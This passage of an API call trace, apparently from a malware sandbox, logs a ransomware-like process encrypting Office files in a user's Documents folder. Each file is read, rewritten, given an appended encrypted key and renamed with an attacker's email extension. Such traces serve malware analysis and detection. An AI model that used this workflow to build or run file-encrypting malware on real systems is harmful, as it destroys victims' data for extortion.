(HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7fd0 [0112.128] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57eda8 | out: hHeap=0x520000) returned 1 [0112.128] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\vxXySkvBkvcUCGq8.xls" (normalized: "c:\\users\\fd1hvy\\documents\\vxxyskvbkvcucgq8.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.129] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=37979) returned 1 [0112.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x945b) returned 0x5e9bd0 [0112.129] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x945b) returned 0x5f3038 [0112.129] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x945b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x945b, lpOverlapped=0x0) returned 1 [0112.131] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-37979, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.131] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f3038*, nNumberOfBytesToWrite=0x945b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f3038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x945b, lpOverlapped=0x0) returned 1 [0112.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.131] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f3038 | out: hHeap=0x520000) returned 1 [0112.132] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x945b [0112.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.132] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c55b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.133] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c55b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c55b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.134] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.134] CloseHandle (hObject=0x5e8) returned 1 [0112.134] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c55b0 | out: hHeap=0x520000) returned 1 [0112.134] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0112.134] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\vxXySkvBkvcUCGq8.xls" (normalized: "c:\\users\\fd1hvy\\documents\\vxxyskvbkvcucgq8.xls"), lpNewFileName="\\Users\\FD1HVy\\Documents\\vxXySkvBkvcUCGq8.xls.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\vxxyskvbkvcucgq8.xls.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7fd0 | out: hHeap=0x520000) returned 1 [0112.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0112.136] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0112.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0112.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.136] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0112.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.136] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0112.136] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\RDFnlOy4qO5Haf.docx", dwFileAttributes=0x80) returned 1 [0112.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0112.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e78a0 [0112.137] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0112.137] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\RDFnlOy4qO5Haf.docx" (normalized: "c:\\users\\fd1hvy\\documents\\rdfnloy4qo5haf.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.137] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=59659) returned 1 [0112.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe90b) returned 0x5e9bd0 [0112.137] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe90b) returned 0x5f84e8 [0112.137] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xe90b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe90b, lpOverlapped=0x0) returned 1 [0112.140] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-59659, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.140] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f84e8*, nNumberOfBytesToWrite=0xe90b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f84e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe90b, lpOverlapped=0x0) returned 1 [0112.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.140] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f84e8 | out: hHeap=0x520000) returned 1 [0112.141] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe90b [0112.142] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.142] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.143] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.143] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.143] CloseHandle (hObject=0x5e8) returned 1 [0112.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.143] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0112.143] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\RDFnlOy4qO5Haf.docx" (normalized: "c:\\users\\fd1hvy\\documents\\rdfnloy4qo5haf.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\RDFnlOy4qO5Haf.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\rdfnloy4qo5haf.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0112.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0112.145] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0112.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0112.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0112.145] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0112.145] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0112.145] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0112.145] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\qj-X4tc4zE0HdySgGQ.pptx", dwFileAttributes=0x80) returned 1 [0112.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0112.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0112.146] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0112.146] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\qj-X4tc4zE0HdySgGQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\qj-x4tc4ze0hdysggq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.146] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15382) returned 1 [0112.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c16) returned 0x5e9bd0 [0112.146] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c16) returned 0x5ed7f0 [0112.146] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x3c16, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c16, lpOverlapped=0x0) returned 1 [0112.147] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-15382, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.147] WriteFile (in: hFile=0x5e8, lpBuffer=0x5ed7f0*, nNumberOfBytesToWrite=0x3c16, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ed7f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c16, lpOverlapped=0x0) returned 1 [0112.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.148] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ed7f0 | out: hHeap=0x520000) returned 1 [0112.148] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c16 [0112.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.148] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.148] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.148] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.149] CloseHandle (hObject=0x5e8) returned 1 [0112.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0112.149] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0112.149] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\qj-X4tc4zE0HdySgGQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\qj-x4tc4ze0hdysggq.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\qj-X4tc4zE0HdySgGQ.pptx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\qj-x4tc4ze0hdysggq.pptx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0112.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0112.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0112.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0112.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0112.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0112.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0112.151] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3418 | out: pbBuffer=0x5c3418) returned 1 [0112.151] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\p_pE4760Yy.xlsx", dwFileAttributes=0x80) returned 1 [0112.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d4a8 [0112.151] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8590 [0112.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0112.151] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\p_pE4760Yy.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\p_pe4760yy.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.152] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=23623) returned 1 [0112.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c47) returned 0x5e9bd0 [0112.152] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x5c47) returned 0x5ef820 [0112.152] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x5c47, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c47, lpOverlapped=0x0) returned 1 [0112.153] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-23623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.154] WriteFile (in: hFile=0x5e8, lpBuffer=0x5ef820*, nNumberOfBytesToWrite=0x5c47, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ef820*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c47, lpOverlapped=0x0) returned 1 [0112.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.154] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ef820 | out: hHeap=0x520000) returned 1 [0112.154] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c47 [0112.154] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.154] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.155] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.155] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3418*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3418*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.155] CloseHandle (hObject=0x5e8) returned 1 [0112.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0112.155] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0112.155] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\p_pE4760Yy.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\p_pe4760yy.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\p_pE4760Yy.xlsx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\p_pe4760yy.xlsx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8590 | out: hHeap=0x520000) returned 1 [0112.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0112.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0112.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0112.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0112.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0112.157] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0112.157] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0112.157] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\ncXHAwp7.xlsx", dwFileAttributes=0x80) returned 1 [0112.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d8c8 [0112.157] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563ea0 [0112.157] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0112.157] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\ncXHAwp7.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ncxhawp7.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.158] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=40476) returned 1 [0112.158] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9e1c) returned 0x5e9bd0 [0112.158] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x9e1c) returned 0x5f39f8 [0112.158] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x9e1c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x9e1c, lpOverlapped=0x0) returned 1 [0112.159] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-40476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.160] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f39f8*, nNumberOfBytesToWrite=0x9e1c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f39f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x9e1c, lpOverlapped=0x0) returned 1 [0112.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.160] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f39f8 | out: hHeap=0x520000) returned 1 [0112.161] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x9e1c [0112.161] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.161] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.162] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.162] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.162] CloseHandle (hObject=0x5e8) returned 1 [0112.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0112.162] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0112.163] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\ncXHAwp7.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ncxhawp7.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\ncXHAwp7.xlsx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\ncxhawp7.xlsx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0112.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0112.164] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0112.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0112.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3428 [0112.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0112.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0112.165] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\ljhJaGuyxE50n.xlsx", dwFileAttributes=0x80) returned 1 [0112.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0112.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7958 [0112.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0112.165] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\ljhJaGuyxE50n.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ljhjaguyxe50n.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.165] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=26116) returned 1 [0112.165] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6604) returned 0x5e9bd0 [0112.166] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6604) returned 0x5f01e0 [0112.166] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x6604, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x6604, lpOverlapped=0x0) returned 1 [0112.167] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-26116, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.167] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f01e0*, nNumberOfBytesToWrite=0x6604, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f01e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6604, lpOverlapped=0x0) returned 1 [0112.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.167] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f01e0 | out: hHeap=0x520000) returned 1 [0112.167] SetFilePointer (in: 